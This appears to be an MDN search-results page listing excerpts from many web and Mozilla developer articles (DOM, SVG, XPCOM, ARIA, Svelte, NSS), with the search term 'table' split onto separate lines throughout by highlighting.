...ports are useful for two reasons: they allow javascript to fetch and create the initial contents of memory before or concurrently with module compilation. they allow a single memory object to be imported by multiple module instances, which is a critical building block for implementing dynamic linking in webassembly. note: you can find our complete demo at memory.html (see it live also) . ...
...wo reasons: they allow javascript to fetch and create the initial contents of memory before or concurrently with module compilation. they allow a single memory object to be imported by multiple module instances, which is a critical building block for implementing dynamic linking in webassembly. note: you can find our complete demo at memory.html (see it live also) . ...
...And 15 more matches
EventTarget.addEventListener() - Web APIs
ass false as the value of the usecapture parameter. if you'd prefer, you can use a third-party library like modernizr or detect it to do this test for you. you can learn more from the article about eventlisteneroptions from the web incubator community group. examples add a simple listener this example demonstrates how to use addeventlistener() to watch for mouse clicks on an element. ...
...ird-party library like modernizr or detect it to do this test for you. you can learn more from the article about eventlisteneroptions from the web incubator community group. examples add a simple listener this example demonstrates how to use addeventlistener() to watch for mouse clicks on an element. ...
...n an element. html <
table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </
table> javascript // function to change the content of t2 function modifytext() { const t2 = document.getelementbyid("t2"); if (t2.firstchild.nodevalue == "three") { t2.firstchild.nodevalue = "two"; } else { t2.firstchild.nodevalue = "three"; } } // add event listener to
table const el = document.getelementbyid("outside"); el.addeventlistener("click", modifytext, false); in this code, modifytext() is a listener for click events registered using addeventlistener(). a click anywhere in the
table bubbles up to the handler and runs modifytext(). result event listener with anonymous function here, we'll take a look at how to use an anonymous function to pass paramete...
...And 14 more matches
XPCOM array guide
introduction array types mozilla has many array classes because each array is optimized for a particular usage pattern. this guide describes the available arrays as well as the enumerator classes that can be used to get to them. in this document the term array refers to a container for multiple objects with a numeric, zero-based index. the standard array classes are: nsiarray - a scrip
table container for scrip
table xpcom objects. this array is read-only, and the interface does not provide any methods that will allow adding and removing members. nsimu
tablearray - a scrip
table container for scrip
table xpcom objects, which allows addition and removal of member objects. this interface actually derives from nsiarray. nstarray<t> - a c++ class which provides a typesafe container for obj...
...so provides a safeelementat() accessor. as of gecko 8, safeelementat() is now directly available on nstarray for arrays instantiated with pointer types. some other arrays: fallibletarray, autofallibletarray, infallibletarray, autoinfallibletarray, nstobserverarray, nsautotobserverarray. ...
...etarray, autofallibletarray, infallibletarray, autoinfallibletarray, nstobserverarray, nsautotobserverarray. this handy chart may make it easier to understand the different arrays: class data type scrip
table? typesafe? can be modified? built in buffer? ownership nsiarray xpcom object yes no no no reference counted, weak/strong nsimu
tablearray xpcom object yes no yes no reference counted, weak/strong nscomarray<t> xpcom object no yes yes* no reference counted, strong nstarray<t> any that has a default constructor and copy constructor no yes yes* no can hold objects directly, in which case it owns them. when holding pointers, doesn't own the pointer. n...
...And 13 more matches
Object.defineProperty() - JavaScript
precise addition to or modification of a property on an object. normal property addition through assignment creates properties which show up during property enumeration (for...in loop or object.keys method), whose values may be changed, and which may be deleted. this method allows these extra details to be changed from their defaults. by default, values added using object.defineproperty() are immu
table and not enumerable. property descriptors present in objects come in two main flavors: data descriptors and accessor descriptors. a data descriptor is a property that has a value, which may or may not be wri
table. an accessor descriptor is a property described by a getter-setter pair of functions. a descriptor must be one of these two flavors; it cannot be both. both data and accessor descriptor...
...ted from the corresponding object. defaults to false. enumerable true if and only if this property shows up during enumeration of the properties on the corresponding object. defaults to false. a data descriptor also has the following optional keys: value the value associated with the property. can be any valid javascript value (number, object, function, etc). defaults to undefined. wri
table true if and only if the value associated with the property may be changed with an assignment operator. defaults to false. an accessor descriptor also has the following optional keys: get a function which serves as a getter for the property, or undefined if there is no getter. when the property is accessed, this function is called without arguments and with this set to the object through w...
...e value of the property. defaults to undefined. set a function which serves as a setter for the property, or undefined if there is no setter. when the property is assigned, this function is called with one argument (the value being assigned to the property) and with this set to the object through which the property is assigned. defaults to undefined. if a descriptor has neither of value, wri
table, get and set keys, it is treated as a data descriptor. if a descriptor has both value or wri
table and get or set keys, an exception is thrown. bear in mind that these attributes are not necessarily the descriptor's own properties. inherited properties will be considered as well. in order to ensure these defaults are preserved, you might freeze the object.prototype upfront, specify all options ex...
...And 13 more matches
Creating a Help Content Pack - Archive of obsolete content
e html help documentation into your application using the mozilla help viewer. documentation contained in the help viewer can be accessed using any xul application or program that embeds mozilla. what is a content pack? a content pack is a packaged set of files that describe help content. content packs include help documents written in xhtml, a content pack descriptor file written in rdf, and a
table of contents, index, and glossary (also written in rdf). you can create a content packs which inherit from existing mozilla help content packs. the contents of a content pack content packs consist of a general pack description file,
table of contents, index, search, glossary, and help documents. the help documents are written in xhtml, and the rest are written in rdf. the content pack descriptor...
...the glossary file is written in rdf and consists of a simple list of terms with corresponding urls to the term definition. ...
...the glossary file is written in rdf and consists of a simple list of terms with corresponding urls to the term definition. ...
...And 12 more matches
Index - Learn web development
use a writing mode other than a horizontal one. 120 images, media, and form elements beginner, css, forms, images, learn, media, replaced content this lesson has highlighted some of the differences you will encounter when working with images, media, and other unusual elements in css. in the next article we'll look over a few tips you'll find useful when you have to style html
tables. 121 organizing your css beginner, css, codingscripting, learn, comments, formatting, methodologies, organizing, post-processor, pre-processor, styleguide as you start to work on larger stylesheets and big projects you will discover that maintaining a huge css file can be challenging. in this article we will take a brief look at some best practices for writing your css to ma...
...ner, css, intrinsic size, learn, max size, min size, percentage, sizing, viewport units this lesson has given you a rundown of some key issues that you might run into when sizing things on the web. when you move onto css layout, sizing will become very important in mastering the different layout methods, so it is worth understanding the concepts here before moving on. 124 styling
tables article, beginner, css, codingscripting, guide, needsupdate, styling,
tables with styling
tables now behind us, we need something else to occupy our time. the next article explores debugging css — how to solve problems such as layouts not looking like they should, or properties not applying when you think they should. this includes information on using browser devtools to find soluti...
... this aim of this skill test is to get you working with css backgrounds and borders using the skills you have learned in the previous lesson. 130 test your skills: sizing beginner, css, example the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on sizing items in css. 131 test your skills:
tables beginner, css, example the aim of this task is to help you check your understanding of the skills you studied in the lesson on styling
tables. 132 test your skills: values and units beginner, css, example the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on css values and units. 133 ...
...And 12 more matches
MathML Accessibility in Mozilla
we started exposing generic accessible objects for mathml in bug 920547 and so these can be retrieved by nvda starting with gecko 27.0 (firefox 27.0 / thunderbird 27.0 / seamonkey 2.24). mozilla and nvda developers essentially do not have control on how mathematical formulas are read, please contact design science for any inquiries. mac: mathml support is provided by voiceover. in bug 1175269 and bug 1001641, we relied on the webkit's nsaccessibility mathml tree to expose the main constructions. ...
...thml support is provided by the development version of orca. we try to keep in sync with webkit/atk/orca developments. at the moment, it is recommended to use a nightly build to ensure that the accessible tree expected by orca is correctly exposed. accessfu: mathml support in android and firefox os is currently being implemented in our accessfu module and a patch is available on bug 1163374. the
table gives the output in mode "utterance" and description spoken last. note that this is still very experimental. mathml windows mac linux accessfu diagonal of a regular pentagon video video video / x+2 __________ x plus 2 __________ x+2 x plus 2 x + y ab __________ a over b ...
... of fraction start, a over b, end of fraction, end of root c plus d root of fraction start. a over b. fraction end. root end. a numerator b denominator fraction base c + d root-index root ab __________ the b root of a __________ b root of a, end of root b root of a. root end. a base b root index root abcdef __________
table with 2 rows and 3 columns row 1 column 1 a column 2 b column 3 c row 2 column 1 d column 2 e column 3 f end
table __________
table start, row 1, column 1, a, row 1, column 2, b, row 1, column 3, c, row 2, column 1, d, row 2, column 2, e, row 2, column 3, f,
table end math
table with 2 rows 3 columns. r...
...And 12 more matches
height - SVG: Scalable Vector Graphics
!-- with a height of 0 or less, nothing will be rendered --> <rect y="0" x="0" width="90" height="0"/> <rect y="0" x="100" width="90" height="60"/> <rect y="0" x="200" width="90" height="100%"/> </svg> feblend for <feblend>, height defines the vertical length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fecolormatrix for <fecolormatrix>, height defines the vertical length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fecomponenttransfer for <fecomponenttransfer>, height defines the vertical length for the rendering area of the primitive. value <length> | <percentage...
...x>, height defines the vertical length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fecomponenttransfer for <fecomponenttransfer>, height defines the vertical length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fecomposite for <fecomposite>, height defines the vertical length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes feconvolvematrix for <feconvolvematrix>, height defines the vertical length for the rendering area of the primitive. value <length> | <percentage> ...
...mposite>, height defines the vertical length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes feconvolvematrix for <feconvolvematrix>, height defines the vertical length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fediffuselighting for <fediffuselighting>, height defines the vertical length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fedisplacementmap for <fedisplacementmap>, height defines the vertical length for the rendering area of the primitive. value <length> | <percen...
...And 12 more matches
width - SVG: Scalable Vector Graphics
!-- with a width of 0 or less, nothing will be rendered --> <rect x="0" y="0" width="0" height="90"/> <rect x="0" y="100" width="60" height="90"/> <rect x="0" y="200" width="100%" height="90"/> </svg> feblend for <feblend>, width defines the horizontal length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fecolormatrix for <fecolormatrix>, width defines the horizontal length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fecomponenttransfer for <fecomponenttransfer>, width defines the horizontal length for the rendering area of the primitive. value <length> | <percenta...
..., width defines the horizontal length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fecomponenttransfer for <fecomponenttransfer>, width defines the horizontal length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fecomposite for <fecomposite>, width defines the horizontal length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes feconvolvematrix for <feconvolvematrix>, width defines the horizontal length for the rendering area of the primitive. value <length> | <percentage> ...
...osite>, width defines the horizontal length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes feconvolvematrix for <feconvolvematrix>, width defines the horizontal length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fediffuselighting for <fediffuselighting>, width defines the horizontal length for the rendering area of the primitive. value <length> | <percentage> default value 100% anima
table yes fedisplacementmap for <fedisplacementmap>, width defines the horizontal length for the rendering area of the primitive. value <length> | <perc...
...And 12 more matches
Working with Svelte stores - Learn web development
this kind of store works. svelte stores offer similar features for state management. a store is simply an object with a subscribe() method that allows interested parties to be notified whenever the store value changes, and an optional set() method that allows you to set new values for the store. this minimal api is known as the store contract. svelte provides functions for creating readable, wri
table, and derived stores in the svelte/store module. svelte also provides a very intuitive way to integrate stores into its reactivity system using the reactive $store syntax. if you create your own stores honoring the store contract, you get this reactivity syntactic sugar for free. creating the alert component to show how to work with stores, we will create an alert component. these kind of widge...
...k with stores, we will create an alert component. these kind of widgets might also be known as popup notifications, toast, or notification bubbles. our alert component will displayed by the app component, but any component can send notifications to it; whenever a notification arrives the alert component will be in charge of displaying it on screen. ...
...s the alert component will be in charge of displaying it on screen. creating a store let's start by creating a wri
table store. any component will be able to write to this store, and the alert component will subscribe to it and display a message whenever the store is modified. create a new file — stores.js — inside your src directory. give it the following content: import { wri
table } from 'svelte/store' export const alert = wri
table('welcome to the to-do list app!') note: stores can be defined and used outside of svelte components, so you can organize them in any way you please. in the above code we import the wri
table() function from svelte/store and use it to create a new store called alert with an initial value of "welcome to the to-do list app!". we then export ...
...And 11 more matches
Mozilla Quirks Mode Behavior
ellaneous & style all of the style rules in layout/style/res/quirk.css apply only in quirks mode: orphaned li has an inside bullet (bug 1049). add padding if the very first node in an li is another ul or ol (bug 98636). obsolete since gecko 50 list bullets do not inherit the font size of the list (bug 97351). removed in firefox 50 (bug 648331). don't inherit font properties into
tables except for font-family. make
table borders gray rather than using the foreground color. collapse top margin of body and td and bottom margin of td. collapse the bottom or top margins of empty elements (bug 97361). support <pre wrap>, <pre cols>, <pre width>. orphaned dd has generated content :before instead of margin (bug 5119). indent nested dl elements (bug 8749). map acts...
... seamonkey 2.7), this also works in standards mode (bug 80784, bug 93077). block and inline layout [this quirk is present in almost standards mode.] line height (not line-height) calculations are different to fix bug 5821 and bug 24186 (some other issues are described in bug 22274). see almost standards mode for more details. there are a bunch of quirks to get percentage heights on images,
tables, objects, and applets (etc.?) to "work" (the way they did in netscape navigator 4), even though css says that percentage heights should behave like 'auto' heights when the parent element doesn't have a fixed height. see bug 33443#c9. see also bug 41656 and its duplicates. some of these quirks may cause other effects (see bug 54119). in quirks mode, the font element changes the color of text dec...
... quirks may cause other effects (see bug 54119). in quirks mode, the font element changes the color of text decorations specified on ancestor elements. proposed to apply in all modes: bug 747517. in quirks mode, text-decoration is propagated into floating and absolutely positioned elements. (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in quirks mode, text-decoration is not propagated into
tables (bug 572713). maybe (firefox 3) when computing the minimum intrinsic width of an inline flow directly in a
table cell (no blocks in between), it is assumed that it is not possible to break before and after an image (when otherwise it would be). obsolete since gecko 8.0 prior to gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) text-decoration in quirks mode had line thickness and posi...
...And 11 more matches
XPIDL
ces. interfaces may furthermore contain typedefs, natives, methods, constants, or attributes. most declarations can have properties applied to them. types there are three ways to make types: a typedef, a native, or an interface. in addition, there are a few built-in native types. the built-in native types are those listed under the type_spec production above. ...
...faces may furthermore contain typedefs, natives, methods, constants, or attributes. most declarations can have properties applied to them. types there are three ways to make types: a typedef, a native, or an interface. in addition, there are a few built-in native types. the built-in native types are those listed under the type_spec production above. ...
...g. array<t> const nstarray<t>& nstarray<t>& array the c++-exposed type t will be an owned variant. (e.g. ns[c]string, refptr<t>, or uint32_t) string, wstring, [ptr] native and [ref] native are unsupported as element types. ...
...And 11 more matches
Element.getClientRects() - Web APIs
for each css border box in a client. syntax let rectcollection = object.getclientrects(); return value the returned value is a collection of domrect objects, one for each css border box associated with the element. each domrect object contains read-only left, top, right and bottom properties describing the border box, in pixels, with the top-left relative to the top-left of the viewport. for
tables with captions, the caption is included even though it's outside the border box of the
table. when called on svg elements other than an outer-<svg>, the "viewport" that the resulting rectangles are relative to is the viewport that the element's outer-<svg> establishes (and to be clear, the rectangles are also transformed by the outer-<svg>'s viewbox transform, if any). originally, microsoft inte...
...</strong> <ol> <li>item 1</li> <li>item 2</li> </ol> </div> <div> <strong>ol's rect</strong> <ol class="withclientrectsoverlay"> <li>item 1</li> <li>item 2</li> </ol> </div> <div> <strong>each li's rect</strong> <ol> <li class="withclientrectsoverlay">item 1</li> <li class="withclientrectsoverlay">item 2</li> </ol> </div> example 3: this html creates two
tables with captions. client rects are painted for the <
table> in the second block. <h3>a
table with a caption</h3> <p>although the
table's border box doesn't include the caption, the client rects do include the caption.</p> <div> <strong>original</strong> <
table> <caption>caption</caption> <thead> <tr><th>thead</th></tr> </thead> <tbody> <tr><td>tbody</td></tr> ...
...ns. client rects are painted for the <
table> in the second block. ...
...And 11 more matches
ARIA: gridcell role - Accessibility
the gridcell role is used to make a cell in a grid or treegrid. it is intended to mimic the functionality of the html td element for
table-style grouping of information. <div role="gridcell">potato</div> <div role="gridcell">cabbage</div> <div role="gridcell">onion</div> elements that have role="gridcell" applied to them must be the child of an element with a role of row. ...
...ole of row. <div role="row"> <div role="gridcell">jane</div> <div role="gridcell">smith</div> <div role="gridcell">496-619-5098</div> … </div> the first rule of aria is if a native html element or attribute has the semantics and behavior you require, use it instead of re-purposing an element and adding aria. instead use the native html td element in conjunction with the and contentedi
table attribute: <td>potato</td> <td>cabbage</td> <td>onion</td> description gridcells with dynamically added, hidden, or removed rows and columns any element with a role="gridcell" applied to it should use aria to describe its order in the
table-style grouping, provided the
table, grid, or treegrid has the ability to have rows and/or columns dynamically added, hidden, or removed. use aria-colinde...
...eegrid has the ability to have rows and/or columns dynamically added, hidden, or removed. use aria-colindex to describe a gridcell's order in the list of columns, and aria-rowindex to describe a gridcell's order in the list of rows. use aria-colcount and aria-rowcount on the parent element with role="grid" applied to it to set the total number of columns or rows. this sample code demonstrates a
table-style grouping of information where the third and fourth columns have been removed. aria-colindex is being used to describe the rows' position and allows a person using assistive technology to infer that certain rows have been removed: <div role="grid" aria-colcount="6"> <div role="rowgroup"> <div role="row"> <div role="columnheader" aria-colindex="1">first name</div> <div role...
...And 11 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
all on-screen widgets are laid out using these boxes, making complex interface designs possible. common attributes before we look at the various interface objects, let's look at some of their common attributes, especially the frequently used ones. id and class the attributes id and class fill the same role that the xhtml attribu...
...s, etc) using widgets and layouts native to whatever platform it is running on. for example, windows places the ok button on the left and the cancel button on the right, while mac os x has the opposite layout. this is what firefox itself uses for bookmark properties and other dialogs. buttons used in dialog windows a dialog element will display some number of buttons at its bottom. as shown in
table 1, there are four types of buttons that can be displayed, and you can set the names of the buttons you want to display as a comma-delimited list in the value of the buttons attribute. fixme: make the
table cleaner button name description accept the ok button. cancel the cancel button. help the help button. disclosure either a disclosur...
...the labels for these buttons are set using the buttonlabelextra1 and buttonlabelextra2 attributes on the root element, which take arbitrary strings as their values. ...
...And 10 more matches
Handling common accessibility problems - Learn web development
xt alternatives for audio or support older browsers, a simple text transcript presented somewhere on the page or on a separate page might be a good idea. element relationships and context there are certain features and best practices in html designed to provide context and relationships between elements where none otherwise exists. the three most common examples are links, form labels, and data
tables. the key to accessible link text is that people using screen readers will often use a common feature whereby they pull up a list of all the links on the page. in this case, the link text needs to make sense out of context. for example, a list of links labeled "click here", "click here", etc. is really bad for accessibility. it is better for link text to make sense in context and out of context.
... needs to be included inside a <label> to link it unambiguously to its partner form input (each <label> for attribute value needs to match the form element id value), and it will make sense even if the source order is not completely logical (which to be fair it should be). note: for more information about link text and form labels, read meaningful text labels. finally, a quick word about data
tables. a basic data
table can be written with very simple markup (see bad-
table.html live, and source), but this has problems — there is no way for a screen reader user to associate rows or columns together as groupings of data — to do this you need to know what the header rows are, and if they are heading up rows, columns, etc. this can only be done visually for such a
table. if you instead look...
...blems — there is no way for a screen reader user to associate rows or columns together as groupings of data — to do this you need to know what the header rows are, and if they are heading up rows, columns, etc. this can only be done visually for such a
table. if you instead look at our punk-bands-complete.html example (live, source), you can see a few accessibility aids at work here, such as
table headers (<th> and scope attributes), <caption> element, etc. note: for more information about accessible
tables, read accessible data
tables. css css tends to provide a lot fewer fundamental accessibility features than html, but it can still do just as much damage to accessibility if used incorrectly. we have already mentioned a couple of accessibility tips involving css: use the correct ...
...And 10 more matches
Index
nd cryptographic algorithms, originally called netscape security services, nowadays called network security services (nss). nss is a library written in the c programming language. it's free and open source software, and many other software projects have decided to use it. in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape por
table runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming. nss offers lots of functionality; we'll walk through the list of modules, design principles, and important relevant standards. in order to allow interoperability between software and dev...
...oke the validity of the cert). trust anchors contained in the ckbi module are usually self signed, which is defined as having identical subject name and issuer name fields. if a self-signed certificate is marked as explicitly trusted, nss will skip checking the self-signature for validity. nss has multiple apis to perform verification of certificates. there is a classic engine that is very s
table and works fine in all simple scenarios, for example if all (b) candidate issuer certificates have the same subject and issuer names and differ by validity period; however, it works only in a limited amount of more advanced scenarios. unfortunately, the world of certificates has become more complex in the recent past. new certificate authorities enter the global pki market, and in order to get sta...
... nss 3.21. the bug fixes in nss 3.21.4 are described in the "bugs fixed" section below. 79 nss 3.22 release notes the nss team has released network security services (nss) 3.22, which is a minor release. 80 nss 3.22.1 release notes network security services (nss) 3.22.1 is a patch release for nss 3.22. the bug fixes in nss 3.22.1 are described in the "no
table changes" section below. 81 nss 3.22.2 release notes network security services (nss) 3.22.2 is a security patch release for nss 3.22. the bug fixes in nss 3.22.2 are described in the "security fixes" section below. 82 nss 3.22.3 release notes network security services (nss) 3.22.3 is a patch release for nss 3.22. the bug fixes in nss 3.22.3 are described...
...And 10 more matches
Starting WebLock
vailable during the calls. embedding applications may provide other notifications. common xpcom notifications category name value creates component xpcom-startup any contract id yes xpcom-shutdown any contract id no xpcom-autoregistration any contract id no app-startup any service, contract id * the
table above summarizes the popular persistent notifications registered through the category manager. the name of the category itself is a well defined string, but the name-value pairs can be anything. when naming your component in the category, take care to use something that means something and doesn't muddy up the namespace. in this case, "weblock" is unique and provides context to anyone looking at...
...nlock - disable web locking. this should allow any browser in the gecko application to browse any website regardless of the white list. addsite - add the current url to the white list. removesite - remove the current url from the white list. enumeratesites - allows the enumeration of all sites in the white list. enumeratesites might be used in the user interface to provide something like an edi
table listbox of all sites in the white list. even this simple outline presents some ambiguity, however. it's certainly not enough to spell out the interface for the weblock component in this way. for example, addsite is supposed to add the current url to the white list, but is the url an input parameter to the method, is it the topmost web page in the gecko application, or is it something more rando...
...ccessible from javascript or other interpreted languages. in mozilla, javascript is the bridge between components and the xul-based user interface. the xpidl syntax the xpidl syntax is a mix of c++ and java, and of course it's very much like the omg idl upon which it is closely based. ...
...And 10 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
-based design, because they could also immediately envision the benefits to their workload and maintenance of the site. how is the site styled now that you've ripped out all the html-based presentation? technically, there are 13 total stylesheets used at any one time. ...
...t 1 file each the 3 imported files set alternate font sizes (small, large, larger) how much did the size of a typical wired news page shrink? the html went from 32 kb down to 19 kb, but images increased from 8 to 13 kb. we've noted that some of the file size comparison's aren't necessarily fair, because we're not comparing apples to apples-- we're comparing an old design using html,
tables, and spacer gifs to a new design much richer in imagery and style. what made you decide to drop
tables as a layout mechanism? it seems like most designers think that you have to have at least some
tables for layout. i've been manually writing sample code for my own design prototypes for 4 or 5 years now. i used to pride myself in knowing how to reproduce any interface design down to a pixel-pe...
...
tables for layout. i've been manually writing sample code for my own design prototypes for 4 or 5 years now. i used to pride myself in knowing how to reproduce any interface design down to a pixel-perfect level. a developer would tell me something wasn't possible, and i could prove otherwise every time. like other designers and html whizzes, i became a master at manipulating and troubleshooting
tables, nesting them in intricate ways to produce any layout or effect that could be imagined. i remember one project for lycos where we had nested
tables 10 levels deep. i counted them myself. it wasn't that every level was absolutely necessary to reproduce the intended design effects. but each
table ensured the flexibility we needed if certain modules and pieces of content appeared or disappeared. w...
...And 9 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
such as all <div> elements. the w3c dom level 1 method gets references to all elements with the same tag name through getelementsbytagname(). the method returns an array in javascript, and can be called on the document element or other nodes to search only their subtree. to get an array of all elements in the dom tree, you can use getelementsbytagname("*"). the dom level 1 methods, as shown in
table 1, are commonly used to move an element to a certain position and toggle its visibility (menus, animations). netscape 4 used the <layer> tag, which mozilla does not support, as an html element that can be positioned anywhere. in mozilla, you can position any element using the <div> tag, which internet explorer uses as well and which you'll find in the html specification.
table 1. methods used ...
.... methods used to access elements method description document.getelementbyid( aid ) returns a reference to the element with the specified id. document.getelementsbytagname( atagname ) returns an array of elements with the specified name in the document. traverse the dom mozilla supports the w3c dom apis for traversing the dom tree through javascript (see
table 2). the apis exist for each node in the document and allow walking the tree in any direction. internet explorer supports these apis as well, but it also supports its legacy apis for walking a dom tree, such as the children property.
table 2. methods used to traverse the dom property/method description childnodes returns an array of all child nodes of the element. ...
...nt, and has no standard equivalent) and innertext (which sets the text value of the node, and which you can achieve in mozilla by using textcontent). internet explorer has several content manipulation methods that are nonstandard and unsupported in mozilla, including retrieving the value, inserting text and inserting elements adjacent to a node, such as getadjacentelement and insertadjacenthtml.
table 3 shows how the w3c standard and mozilla manipulate content, all of which are methods of any dom node.
table 3. methods mozilla uses to manipulate content method description appendchild( anode ) creates a new child node. returns a reference to the new child node. clonenode( adeep ) makes a copy of the node it is called on and returns the copy. if adeep is tru...
...And 9 more matches
Bytecode Descriptions
dex) stack: obj, val ⇒ obj like jsop::initprop, but define a non-enumerable property. this is used to define class methods. implements: propertydefinitionevaluation for methods, steps 3 and 4, when enumerable is false. format: jof_atom, jof_prop, jof_propinit, jof_ic initlockedprop operands: (uint32_t nameindex) stack: obj, val ⇒ obj like jsop::initprop, but define a non-enumerable, non-wri
table, non-configurable property. this is used to define the .prototype property on classes. implements: makeconstructor, step 8, when wri
tableprototype is false. format: jof_atom, jof_prop, jof_propinit, jof_ic initelem, inithiddenelem stack: obj, id, val ⇒ obj define a data property on obj with property key id and value val. obj must be an object. implements: createdatapropertyorthrow. this inst...
...obj is null or undefined. if it's a primitive value, the property is set on toobject(obj), typically with no effect. implements: putvalue step 6 for non-strict code. format: jof_atom, jof_prop, jof_propset, jof_checksloppy, jof_ic strictsetprop operands: (uint32_t nameindex) stack: obj, val ⇒ val like jsop::setprop, but for strict mode code. throw a typeerror if obj[key] exists but is non-wri
table, if it's an accessor property with no setter, or if obj is a primitive value. format: jof_atom, jof_prop, jof_propset, jof_checkstrict, jof_ic setelem stack: obj, key, val ⇒ val non-strict assignment to a property, obj[key] = val. implements: putvalue step 6 for non-strict code. format: jof_elem, jof_propset, jof_checksloppy, jof_ic strictsetelem stack: obj, key, val ⇒ val like jsop::se...
...t: jof_atom, jof_prop, jof_propset, jof_checkstrict, jof_ic setelem stack: obj, key, val ⇒ val non-strict assignment to a property, obj[key] = val. implements: putvalue step 6 for non-strict code. format: jof_elem, jof_propset, jof_checksloppy, jof_ic strictsetelem stack: obj, key, val ⇒ val like jsop::setelem, but for strict mode code. throw a typeerror if obj[key] exists but is non-wri
table, if it's an accessor property with no setter, or if obj is a primitive value. format: jof_elem, jof_propset, jof_checkstrict, jof_ic delprop operands: (uint32_t nameindex) stack: obj ⇒ succeeded delete a property from obj. push true on success, false if the property existed but could not be deleted. this implements delete obj.name in non-strict code. throws if obj is null or undefined. can c...
...And 9 more matches
nsIAccessibleEvent
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description accessible nsiaccessible the nsiaccessible associated with the event. may return null if no accessible is available. read only. accessibledocument nsiaccessibledocument the nsiaccessibledocument that the event target nsiaccessible resides in. this can be used to get the dom window, the dom document and the window handler, among other things. ...
...on_changed 0x0031 0x002d event_text_attribute_changed 0x0032 0x002e a text object's attributes changed. also see event_object_attribute_changed. event_text_caret_moved 0x0033 0x002f the caret has moved to a new position. event_text_changed 0x0034 0x0030 this event indicates general text changes. that is, changes to text that is exposed through the iaccessibletext and iaccessibleedi
tabletext interfaces. event_text_inserted 0x0035 0x0031 text was inserted. event_text_removed 0x0036 0x0032 text was removed. event_text_updated 0x0037 0x0033 text was updated. event_text_selection_changed 0x0038 0x0034 the text selection changed. event_visible_data_changed 0x0039 0x0035 a visible data event indicates the change of the visual appearance of an accessible object. this...
...a_changed 0x0039 0x0035 a visible data event indicates the change of the visual appearance of an accessible object. this includes for example most of the attributes available via the iaccessiblecomponent interface. event_text_column_changed 0x003a 0x0036 the caret moved from one column to the next. event_section_changed 0x003b 0x0037 the caret moved from one section to the next. ...
...And 9 more matches
WebIDL bindings
. if the argument type is a c++ reference, it will also become a nonnull<> around the actual type of the object in the process. optional arguments which do have a default value are just represented by the argument type itself, set to the default value if the argument was not in fact passed in. variadic webidl arguments are treated as a const sequence<>& around the actual argument type. ...
...the argument type itself, set to the default value if the argument was not in fact passed in. variadic webidl arguments are treated as a const sequence<>& around the actual argument type. here's a
table, see the specific sections below for more details and explanations. ...
...ouble double float float float float interface: non-nullable foo& already_addrefed<foo> foo* owningnonnull<foo> interface: nullable foo* already_addrefed<foo> foo* refptr<foo> long int32_t int32_t int32_t long long int64_t int64_t int64_t object js::handle<jsobject*> js::mu
tablehandle<jsobject*> jsobject* octet uint8_t uint8_t uint8_t sequence const sequence<t>& nstarray<t>& (outparam) short int16_t int16_t int16_t unrestricted double double double double unrestricted float float float float unsigned long uint32_t uint32_t uint32_t unsigned long long ...
...And 9 more matches
Introduction to the DOM - Web APIs
lements in the document: const paragraphs = document.getelementsbytagname("p"); // paragraphs[0] is the first <p> element // paragraphs[1] is the second <p> element, etc. alert(paragraphs[0].nodename); all of the properties, methods, and events available for manipulating and creating web pages are organized into objects (for example, the document object that represents the document itself, the
table object that implements the special html
tableelement dom interface for accessing html
tables, and so forth). this documentation provides an object-by-object reference to the dom. the modern dom is built using multiple apis that work together. the core dom defines the objects that fundamentally describe a document and the objects within it. this is expanded upon as needed by other apis that add ne...
...is reference, is javascript. that is to say, it's written in javascript, but it uses the dom to access the document and its elements. the dom is not a programming language, but without it, the javascript language wouldn't have any model or notion of web pages, html documents, xml documents, and their component parts (e.g. elements). every element in a document—the document as a whole, the head,
tables within the document,
table headers, text within the
table cells—is part of the document object model for that document, so they can all be accessed and manipulated using the dom and a scripting language like javascript. in the beginning, javascript and the dom were tightly intertwined, but eventually, they evolved into separate entities. the page content is stored in the dom and may be access...
... to describe the various objects and types in simple terms. but there are a number of different data types being passed around the api that you should be aware of. note: because the vast majority of code that uses the dom revolves around manipulating html documents, it's common to refer to the nodes in the dom as elements, although strictly speaking not every node is an element. the following
table briefly describes these data types. data type (interface) description document when a member returns an object of type document (e.g., the ownerdocument property of an element returns the document to which it belongs), this object is the root document object itself. the dom document reference chapter describes the document object. node every object located...
...And 9 more matches
HTMLImageElement.x - Web APIs
in other words: it has either of those values set explicitly on it, or it has inherited it from a containing element, or by being located within a column described by either <col> or <colgroup>. ...
...in other words: it has either of those values set explicitly on it, or it has inherited it from a containing element, or by being located within a column described by either <col> or <colgroup>. ...
...t <html> element that contains the image. if the image is in an <iframe>, its x is relative to that frame. in the diagram below, the left border edge is the left edge of the blue padding area. so the value returned by x would be the distance from that point to the left edge of the content area. ...
...And 9 more matches
HTMLImageElement.y - Web APIs
in other words: it has either of those values set explicitly on it, or it has inherited it from a containing element, or by being located within a column described by either <col> or <colgroup>. ...
